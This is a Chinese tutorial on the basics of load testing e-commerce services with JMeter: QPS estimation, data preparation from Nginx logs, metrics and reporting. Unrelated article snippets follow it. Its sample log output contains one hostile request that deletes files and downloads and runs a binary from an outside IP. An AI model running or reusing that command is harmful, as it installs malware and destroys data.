范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文
国学影视

软件测试测试开发电商业务的性能测试(一)必备基础知识

  公众号搜索:TestingStudio 霍格沃兹测试开发的干货都很硬核1. 测试步骤及模型分析1.1 测试步骤总览需求分析与测试设计(性能需求目标+业务模型拆解)测试数据准备和构造(基于模型的数据准备)性能指标预期(性能需求目标)发压工具配置及脚本编写(压力策略)测试过程(预计的前置准备过程和压测时间点规划)结果分析与测试报告1.2 测试模型分析
  如下的测试模型来简单的说明测试中需要关注的点和测试的目的
  字段说明
  1、横轴 : 代表并发数,也就对应着Jmeter里面的线程数
  2、Utizilation(U) :资源利用率
  3、Throughput(X): 吞吐量,对应QPS或TPS
  4、ResponseTime :响应时间
  拐点分析:
  第一条虚线处的拐点代表着随着并发数的增加,资源利用率(CPU资源等)和吞吐量也在伴随着递增, 这个时候我们的响应时间有小幅度的增加,但是在可接受的范围之内;在这个点是做容量规划最好的参考点
  第二条虚线处的拐点表示随着并发数的继续增加,系统资源已经到达了瓶颈,吞吐量开始明显下降,响应时间会大幅增加,也就是说已经到达了性能的瓶颈,请求队列开始挤压,这个时候已经严重影响用户体验或者有系统崩溃的风险。2. 步骤分析2.1 需求分析与测试设计
  此处从性能需求目标与业务模型拆解两方面着手,
  1、目标场景分类:新上线系统性能测试:要求容量测试,系统最大容量系统升级类性能测试:和基线版本对比,性能不下降新系统性能优化测试:伴随调优目标的性能测试
  注:在后面的演示中,会以新系统上线的容量测试为例,目标为获取系统最大容量
  字段说明:
  基准测试:见下图,我的理解就是性能测试,找到最优的QPS(TPS)点
  容量测试:见下图,我的理解为压力测试,在达到性能瓶颈后继续加压,测试系统的最大承载量
  新系统想要确定测试基准,就需要拿到数据,而产品一般是不会直接告诉我们QPS的,产品会告诉我们 PV/UV 天。
  根据 PV、UV 再结合业务场景来计算确认我们的测试需求;将其转化为小时或分钟,或秒;另外业务场景可能会几种在某个时间段,比如工作日的8个小时时间:
  UV:或者外卖产品则集中在午饭和晚饭的2个小时时间段,假如UV为1000w/天,那么高峰时段占了总用户数的80%:
  1000w * 80% / (4*3600) = 每秒的并发用户数
  PV:PV可以直接对应到QPS指标,好比一个电商产品,产品分别给出了首页、商品页、订单页的PV,便可依此来进行性能测试的基准设计。如果粗略的按24小时算QPS的话就是QPS = PV(天)/24/3600
  2、根据具体的性能测试需求,确定测试类型以及压测的模块(web/mysql/redis/系统整体)
  3、前期要与相关人员充分沟通,初步确定压测方案及具体性能指标
  4、QA完成性能测试设计后,需产出测试方案文档发送邮件到项目组,并且再次与相关人员沟通(或者组织性能测试评审),确认是否满足需求
  2.2、测试数据准备和构造
  数据的准备可以如下几点:
  1、接口请求参数:自己构造、日志获取、上下关联自己构造:自己抓包等,这个有个问题就是后端可能有缓存而造成对实际压力程度的影响日志获取:推荐常用,通过日志或数据库获取大批量的数据然后打散
  例如,我们的请求是通过Nginx转发的,那么可以通过Nginx的日志来获取请求数据,现有如下的log:
  现在我们可以利用Linux三剑客中的awk命令配合上排序的shell命令对log进行提取过滤,找出访问量最高的请求:$ cat access.log | awk "{print $7}" | sort | uniq -c | sort -nr | head -15 4709 /sso/register 4703 /sso/login 157 400 139 /   8 http://www.baidu.com/cache/global/img/gs.gif   5 /index.php   4 mstshash=Administr"   4 /license.txt   4 ip.ws.126.net:443   4 "   2 /sso/getAuthCode?telephone=17138134641   2 /sso/getAuthCode?telephone=17127460936   2 /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7   2 /robots.txt   2 /phpmyadmin/ 复制代码上下关联:
  有些数据我们是无法提前获取的,好比用户的订单数据和购物车数据,这些需要用户下单后生成,因此就需要在下单接口后通过上下关联的接口返回值来获取
  2、数据表的数据填充:可以利用jmeter的高并发通过接口来提前创建数据
  3、如果是多接口,则需要结合业务场景设计请求比例:比如用户浏览主页的PV和浏览商户的比例为1:2,那么接口的比例设计也就按照1:2来设计。2.3、性能指标预期1.每秒请求数(QPS)2.请求响应时间(最大,最小,平均值)3.错误率4.机器性能:cpu idel30%,memory无剧烈抖动或飙升5.压测过程接口功能是否正常6.不同性能测试方式下指标预期是否有差异2.4、发压工具配置及脚本编写
  1.发压工具准备-jmeter简介
  (1) 集成包,解压即可使用,Windowns, Linux, Mac通用(依赖Java环境)
  (2) jmx文件为xml文件,Win,Linux环境均可运行
  (3) 多线程并发
  (4) 运行完脚本会生成jtl日志,可在Win、Mac环境界面中查看、统计
  使用jmeter可以做到:压测场景:单接口/复杂事物——>场景构造压力需求:<1000QPS 或者万级以上的使用Jmeter分布式支持的方式是否周期性:Jmeter jmx场景文件,数据驱动,结果落库二次开发需求:Jmeter开源插件化思想,支持Thrift协议支持:Dubbo等多种协议,可以快速平台化问题支持:开放社区,广泛使用2.脚本编写
  (1) HTTP
  (2) 其他
  3.命令启动,Jmeter 本身也是软件,也有自己的承载限制,所以真正测试过程还是要以命令行运行的方式,UI 可以作为编写和调试脚本使用
  启压:./jmeter -n -t hb.jmx-l hb.jtl2.5 测试过程1、测试前环境检查:记录机器参数2、起压:根据被压情况,调节并发量到合适情况3、查看记录各项性能指标nginx日志查看每秒请求数 查看nginx错误请求 查看机器参数:cpu idel、mem等 查看db、cache等数据是否写入正常 访问接口,查看功能是否正常2.6 结果分析与测试报告
  1、根据测试过程中记录的各项参数,结合压测工具产生的日志,对测试结果进行分析,并产出测试报告
  2、测试完成后,及时与相关人员沟通,确认是都满足需求
  3、发送测试报告邮件
  以上只是做了个性能测试的基础知识铺垫,后续在此理论基础上,以电商业务为背景,结合 Docker+Jmeter+Influx+Grafana 完成一个实例压测与监控~

经常头晕目眩别忽视,当心是脑供血不足!三招教你有效预防有粉丝和我说每次蹲下再站起来的时候,常常有眼冒金星脸麻木的感觉,这是怎么回事呢?蹲下去的时间太长,站起来的时候太猛,导致大脑供血和供氧不足,偶尔出现眼冒金星但是会很快恢复,这种情况口腔溃疡反复发作,是因缺维生素?真相或与你想象的不一样口腔溃疡很多人都比较熟悉,大多数人口腔溃疡是家常便饭,只要在一段时间内控制不好自己的饮食结构,往往就会出现,经常吃辛辣刺激性的食物,也会让口腔溃疡反复发作。口腔溃疡给很多人带来,不2009年,南京5个月大的宝宝入院第二天去世,谁该为此负责?2009年11月1日,年仅5个月大的徐家宝宝因眼病发了一场高烧,惊得一家人急忙带着孩子来到南京市江宁医院就诊,然而经过两天的治疗,宝宝的病情仍没有得到好转,在医生的建议下,徐家人又男性精子畸形会导致孩子畸形吗?很多男性朋友在精液分析检查中被查出精液畸形症,很是忧心,怕畸形率高会生出畸形的宝宝。今天给大家讲一下什么是精子畸形,引起精子畸形的原因有哪些?01hr精子畸形会生出畸形宝宝吗?精子040周孕期营养大全钙铁DHA各阶段重点要补啥?怀孕吃点叶酸就行了!本来就贫血了,孕期吃点猪肝补血!营养品都是药,骨头汤比什么都营养!以上是不是很耳熟?是不是常常在哪里听到?是的当你怀孕了你的妈妈婆婆老公大舅妈二姨婆三姑姑四堂妹慕名而游的挂川城禺草号汉阳挂川市景美不胜收挂川城耸绿樱间,拾级而上晃登仙。居高临下揽全城,青山绿水白云天。位于东海地方中部的挂川市,属静冈县以西(部地区),2005年人口普查记载约113852人。我于201一本专注于门的书,带你踏遍万水千山头条创作挑战赛书名通往历史的门作者西奥斯卡马丁内斯著出版中译出版社CATHY爱阅读对西方建筑和艺术感兴趣的朋友请不要错过这本书!对旅行感兴趣的朋友也请不要错过这本书!对各式各样的西江那边有花园洋房听了一上午的选题,没有一个有意思的。吃完中饭,内心里有个声音出去走走吧。吸取了昨日的教训,今日衣服穿得够厚,连棉毛衫都上身了,还穿了件毛绒外套。风儿吹来,没有一点寒意,倒令混沌的大本周关于比特币需要知道的5件事比特币在创下两年来最低周收盘价后,开始了新的一周,仍在重演2020年11月的情况。比特币就像加密行业的其他组成部分一样,仍然非常容易受到下行风险的影响,继续应对交易所FTX内爆带来夜深了,风在吹外面一片漆黑,天上没有月亮,星星也不知躲去那了。透过树木枝叉的缝隙可以看见对面的楼上有几家的窗户上还闪着灯光。昏黄的路灯下一对红灯笼,在风中摇摆!在诉说着小雪的到来,天要冷了。也许人穷莫说三句话,没钱少管三件事,你做到了吗?钱财是我们每个人日常生活的根本保障。但是人生的境遇总是千变万化,当自己处于贫困之时,常常会感到束手无策,茫然而找不到方向。老祖宗的经验告诉我们人穷莫说三句话,没钱少管三件事。只要我
天猫双11正日子开场4小时,25343个单品销售过百万新京报贝壳财经讯(记者程子姣)天猫双11已进入最后12小时,消费热潮仍在持续。11月11日,最新数据显示,截至11月10日24时,即天猫双十一正日子开场4小时后,已经有25343个5000多亿专项债结存限额基本发行完毕本报记者杜丽娟北京报道如市场此前预期一样,5000多亿元专项债结存限额在10月迎来发行小高峰后,目前已基本完成发行计划。Wind数据统计,截至11月7日,10月新增专项债发行规模为14岁的双11,要凉?电商销量披露,消费者凭啥再吃老一套今年大促的压力依然很大。11月10日晚8点,双11第二波售卖开始。然而,北京商报记者了解到,今年部分商家的销售持平于往年,营销打法也变得更加保守。14年来,双11既以惊人的速度扩围中国需要更多的灯塔工厂2022年10月11日,世界经济论坛(WEF)公布了第九批11家灯塔工厂名单,并授予4座现有灯塔为可持续发展灯塔称号,自此,全球灯塔工厂总数达到114家。在新入选的11家名单中,中拐点可能真的来了文许博男01一个思考为什么感觉近几个月的统计数据,都没什么好点评的?作为经济数据跟踪观察者,我和同事们最近几个月经常苦恼于一件事感觉每月数据新增亮点很少。换句话说,从三季度以来,近每日复盘2022。11。11盘面解读1今天受到消息面影响,爆出阶段性大量5138亿的大量,多空双方交战异常激烈。2当市场有分歧的时候,代表市场反弹还未结束,新高量伴随新高价。3关注后续走势大量低点3218是否加拿大对华发难后,中企送给阿根廷大单,宣布向当地投资22亿美元此前加拿大工业部长以国家安全为由,要求三家中企剥离在当地的锂矿投资。然而中企在世界各地都有投资,不会因为加拿大突然发难受到影响,据阿根廷国家通讯社报道,近日中国珠峰资源股份有限公司不止三只松鼠,网红零食都卖不动了利润持续下滑,三只松鼠们被赶超休闲零食行业又变天了,三只松鼠正经历严峻考验。不久前,三只松鼠发布了2022年第三季度财报,财报显示,公司实现营收53。33亿元,同比下降24。57,降准要来了?10月金融数据超预期回落,机构明年1月降准可能性大本文来源时代财经作者余思毅市场又掀起了关于降准的讨论。近日,中信证券固定收益团队发布最新报告指出,面对10月社融数据,围绕当前的经济金融形势,有关部门将采取哪些措施成为后续市场博弈财富人群做慈善面临四难,平安私人银行破局助共同富裕不久前,平安私人银行客户翟斌在一个公开场合分享了他的公益项目雨亭行动如何从民间草根走向专业化的历程。翟斌是抗日民族英雄鲁雨亭烈士的外孙,他希望通过公益为家乡的乡村少年带来有益的体验北向资金,今天净买入资金创近两个月以来新高,茅台买13。27亿元北向资金,今天净买入资金,创近两个月以来新高,达到了惊人的146。66亿元,其中,白酒板块中的贵州茅台,今天首次出现大额买入。1。贵州茅台,所属行业白酒板块,北向资金,今天净买入成